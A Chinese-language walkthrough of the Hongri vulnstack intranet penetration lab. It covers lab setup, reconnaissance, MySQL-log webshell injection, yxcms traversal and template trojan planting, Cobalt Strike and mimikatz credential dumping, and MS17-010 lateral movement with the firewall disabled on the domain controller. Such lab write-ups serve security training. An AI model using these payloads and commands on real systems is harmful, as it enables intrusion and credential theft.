红日内网渗透靶机(一)
再搭建靶机的时候很抓狂的是官网好像没给出密码,导致我一直无法登陆配置自定义IP,因为我并不想改变我nat网卡的网段
靶机本身也有问题
靶机搭建
靶机地址下载:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
拓扑图如下所示:
下载完成后使用VMware
打开,各个虚拟网卡的网段如下:
- VMnet8:192.168.88.0/24
- VMnet14:192.168.93.0/24
其中VMnet8网卡是我虚拟机默认的网段,VMnet14是额外添加的虚拟网卡,添加网卡时要注意修改一个配置,网段你们想怎么选都行,下图箭头所指默认时勾上的,要去掉,否则你电脑本机就能直接访问该网段。
下图给出Windows7的网卡配置,其他的你们看图就知道选哪个网卡
因为有些靶机的IP是配的静态的,故需要登陆进去修改,三个靶机密码都是hongrisec@2019
,一开始我搞半天都不行,原网站也没给出静态的IP信息,后面去其他人的博客上才找到配置好网络环境(有些靶机会提示密码过期,重新改下就行)
最后Win7内有个phpstudy运行不起来,需要单独运行mysql和apache服务
1 | # 进入apache的bin目录运行此命令,将apache添加到服务 |
信息收集
由于windows 7开启了防火墙,故无法采用ping扫描探测主机存活,但可疑使用以下命令进行探测:
1 | 使用tcp的ack包探测主机是否存活 |
通过排查可得目标服务器ip为192.168.88.18
,对其进行端口扫描
1 | 获取目标IP的端口开发以及端口服务信息 |
可以发现开放了80端口和3306端口,进入80端口发现了PHP探针
下面有个MYSQL连接检测,输入root
,root
连接成功
使用御剑扫描网站目录发现存在phpmyadmin
路径
该界面有个测试数据库的连通性,直接用默认密码登陆数据库,目前有一个mysql可以尝试getshell,先记录下。
登陆数据库后,发现有个newyxcms
,说明该服务器可能还存在一个yxcms
,尝试在路径后输入yxcms
发现确实存在yxcms
我们从数据库中查找管理员账号密码,密码已经被加过密了,可以尝试丢到在线解密网站进行解密
从百度搜出yxcms的后台管理地址是index.php?r=admin/index/login
,默认账号密码是admin/123456
,登陆成功(一开始密码输错了会显示账号已锁定,是真的狗)
登陆后通过后台界面的左下角可以看到yxcms
的版本为1.2.1
,这个版本看上去挺老的,也可能直接getshell,记录下。
漏洞利用
0x01. Mysql Getshell
先看MYSQL是否支持导出一句话,可以知道无法进行通过导出一句话木马获得shell
1 | select @@secure_file_priv; |
再尝试通过写日志getshell
1 | # 开启写日志 |
此时我们再通过查询语句往日志文件写入一句话木马,由于开启了system
函数,那就直接用这个函数执行系统命令
1 | select "<?php system($_GET['cmd']);?>"; |
访问http://192.168.88.18/x.php?cmd=whoami
,可知命令已执行成功
0x02. Yxcms命令执行Getshell
yxcms 1.4.7
版本存在目录遍历和代码执行等一系列漏洞,尝试在当前版本是否适用。
输入网址http://192.168.88.18/yxcms/index.php?r=admin/files/index&dirget=../../
,发现确实存在目录遍历漏洞
观察下目录结构发现存在kindeditor
编辑器
访问http://192.168.88.18/yxcms/public/kindeditor
,发现网站本身还存在目录遍历漏洞,不过编辑器是没法利用了
继续转到前台模板,可以看到都是php文件,并且可以编辑
经观察,选择在layout.php
一句话木马最为方便,因为这种版权信息不用进后端就能看到
使用蚁剑连接成功
权限维持
使用蚁剑的虚拟终端查看目标服务器的进程,通过检测没有发现杀软
本来想使用payloadreverse_https
,但无论怎么尝试都没动静,Wireshark
也没有对应的流量,无奈只能换成reverse_http
,生成一个powershell
命令的后门,直接在蚁剑的虚拟终端上执行,执行成功上线cs
紧接着创建一个smb监听器,然后将当前的会话派生的smb监听器上
然后使用最新的会话做一系列操作,获取systeminfo信息
运行mimikatiz
获取目标服务器的密码
一些常用方法,记录下:
1 | # 以下创建的用户net user无法查看,但可通过lusrmgr.msc或注册表进行查看 |
横向移动
查看网卡信息发现有内网网段192.168.93.0/24
查看当前域的名字但发生系统错误,表示该网络存在域,但不是域成员
通过net view
可以查看当前域的计算机列表,下图可知192.168.93.130
是域控服务器
上传fscan,对内网进行扫描
端口开放情况:
漏洞扫描情况(先记录)
- 129和130可能存在ms17-010漏洞
- 129存在ftp匿名登陆
- 129的8099端口存在一个web页面
- 130存在一个IIS7的网站
将会话转移到msf中,并通过命令run autoroute
自动添加内网路由
使用exploit/windows/smb/ms17_010_psexec
模块获取该域控服务器的权限
由于在内网环境下,只能使用bind类型的payload,采用反连的payload会导致服务器无法访问到我们的攻击机
利用成功但是无法创建会话,那再使用auxiliary/admin/smb/ms17_010_command
模块执行系统命令whoami
,如果执行成功则说明该域控开了防火墙。
接下来运行命令netsh firewall set opmode disable
关闭防火墙
再重新使用psexec
模块,记得更换其他端口,然后就获取到域控服务器的会话
导入kiwi
(旧版本的mimikatz
),由于kiwi
默认加载的是32位,而目标服务器是64位,故需要将meterpreter
进程迁移到64位进程中才能查看系统明文。
查看目标服务器的进程列表
选择一个64位进程,使用命令migrate pid
进行进程迁移
再使用命令creds_all
获取所有凭证信息
获取到账号密码后,在cs中jump->psexec
,然后输入密码进行横向移动
域控服务器成功上线cs,经排查域控服务器也未存在杀软
在cs上对域控服务器抓取
同理让其他域成员主机上线cs